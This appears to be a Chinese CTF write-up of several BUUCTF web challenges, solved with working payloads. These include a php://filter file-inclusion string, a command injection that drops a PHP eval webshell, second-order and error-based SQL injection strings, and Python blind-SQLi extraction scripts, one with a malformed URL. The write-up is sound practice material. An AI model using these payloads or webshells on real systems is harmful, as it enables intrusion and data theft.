文章目录
[ACTF2020 新生赛]Include
keywords: 文件包含
查看源代码无果。
文件包含漏洞,使用php伪协议,构造如下payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到如下base64密文:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZWFhYTU4ZjEtYzM4NC00ZjFhLTg2YzQtMTliMDI4YTZkNDE5fQo=
解密得到flag
[ACTF2020 新生赛]BackupFile
keywords: backup
用dirsearch,花了一段时间把dirsearch环境配好,然后直接开search
dirsearch -u http://be8b940c-31a3-42b9-87cf-9fb7c8cd0a58.node5.buuoj.cn:81/ -e *
找到了index.php.bak文件
打开
意思是要传递一个参数key才能看到flag
提示just num,还是想太简单了。
后来看代码和看大佬的分析,是整型和字符串的弱比较,所以只需要传递一个123就可以了
[极客大挑战 2019]BuyFlag
keywords: 代码逻辑漏洞
源代码如下:
满足两个条件才可购买flag:
1.我是CUIT的学生(不是)
2.我传递正确的密码
我做不出来的原因是漏掉了一个条件:需要用POST方法传递参数
那好办了,抓包修改,
图中三个地方需要改改,直到满足条件为止。
我的bp出了问题,一直post不了数据,用了hackbar才能成功
中间money输入1000000000提示数字太长,有两个方法可以解决:
方法1:用幂代替,1e9
方法2:用数组绕过:money[]=100000
[ACTF2020 新生赛]Exec
keywords: rce
没啥好说的,先试试
127.0.0.1|ls
127.0.0.1|ls /
这一次试试高级一点的玩法,我要传个一句话木马上去连他, 这里双引号不太行
echo '<?php @eval($_POST['123']);?>' > 1.php
[RCTF2015]EasySQL
keywords: sql注入
登录注册页面,登录页面中没找到什么注入点,来到注册页面,尝试注册一个恶意账号。
以下是尝试的payload, 密码邮箱随便填,我都填了123
admin
admin' or 1=1
admin' //成功注册
登陆以后是这个界面,然后分享一下发dian文章
跟数据库打交道的点有两个,一个是修改密码,一个是title参数,作为一个优雅的恶意账号,可以试试通过修改密码达到改admin的账户密码的目的。
抓包看看。
好像没有什么值得注意的地方,主要是没有username,这里先放一放,看看title。
抓包,好像也没有?
那就抄作业看看
大佬做到这一步也同样没有发现什么注入点,不过注册账号本身就是一个很大的漏洞,因为没有过滤字符。
那就不妨多注册几个而已账号试试,拿burp去爆,发现网站过滤了一些字符,但还有部分字符没被过滤
'、"、\、or、union、select、updatexml、group_concat、database、table、=、()
这就有很大的问题
比如注册一个含有反斜杠的账号,再修改密码。
admin’
发现报错信息,可以猜测后台数据库语句为。
select * from 表名 where id="%s" and pwd="密码"
老哥解释地很到位,这是一道二次注入的题目
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
我们注册账号时候的恶意数据已经插入到数据库,当改密码时,调用username,报错
因此,我们注册用户时候的username就存在注入点,接下来就是正常注入利用的思路, 应该不是union select,而是使用报错注入:
构造payload,作为username
- 爆库
1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
额,我这里登录卡在加载页面,估计是网络限制了,知道了原理,我就不继续做了
[CISCN2019 华北赛区 Day2 Web1]Hack World
keywords: sql注入(布尔盲注),php
得知,table是flag, column是flag,现在就是提交查询
- 正常语句和爆字段个数
输入1,2有正常结果,3报错,说明有只有2列
没想到啊
order by 直接就被检测到了
经测试,网站过滤了空格,双引号,or,and,分号,union,
空格用%20绕过。。
过滤太多了,直接抄作业。
我一开始没注意到这个0和1的问题,看看下面的大佬思路
大佬思路:
分别输入0和1:
1的话应该就是正确的回显,0的话是错误的回显
这是一个布尔盲注,考虑到涉及到的函数有substr()可以试试
用if()函数进行验证
if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)
可以把if语句里最后的0,1,替换进行验证判断正确和错误的回显
.
.
因为要遍历,那么我们开始写脚本
#///已弃用
import requests
import re
url='http://http://3406753b-ac39-485a-8c25-1f08c3b19144.node5.buuoj.cn:81/index.php' #路径
buu='' #记录flag
for i in range(1,50): #flag的字符数量
for j in range(32,140): #可打印出得所有字符的asii码值
#构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
data={"id":payload} #构造参数对象
res=requests.post(url=url,data=data) #请求
#进行验证和记录flag
if 'Hello, glzjin wants a girlfriend' in res.text:
buu=buu+chr(j)
print(i)
print(buu)
break #跳出一层循环
使用二分法遍历更快
#//已弃用
import requests
import time
url = "http://3406753b-ac39-485a-8c25-1f08c3b19144.node5.buuoj.cn:81/index.php"
payload = {
"id" : ""
}
flag = ""
for i in range(1,200): #这里调多大都不会有影响,应为判断结束的条件是用空格判断的
time.sleep(0.06)
head = 33
tail =130
mid = (head + tail)//2
while(head < tail):
payload["id"] = "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
res = requests.post(url,data=payload)
time.sleep(0.04)
# print(payload)
if "Hello" in res.text:
head = mid + 1
else:
tail = mid
mid = (head + tail)//2
if(chr(mid)==" "):
break
flag += chr(mid)
print(flag)
print("flag: " ,flag)
前面的出来了,但跑到后面出了点问题,看看代码先
拉了个新的二分法遍历
import requests
import time
import re
url='http://3406753b-ac39-485a-8c25-1f08c3b19144.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(1)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
print(flag)
终于!!类目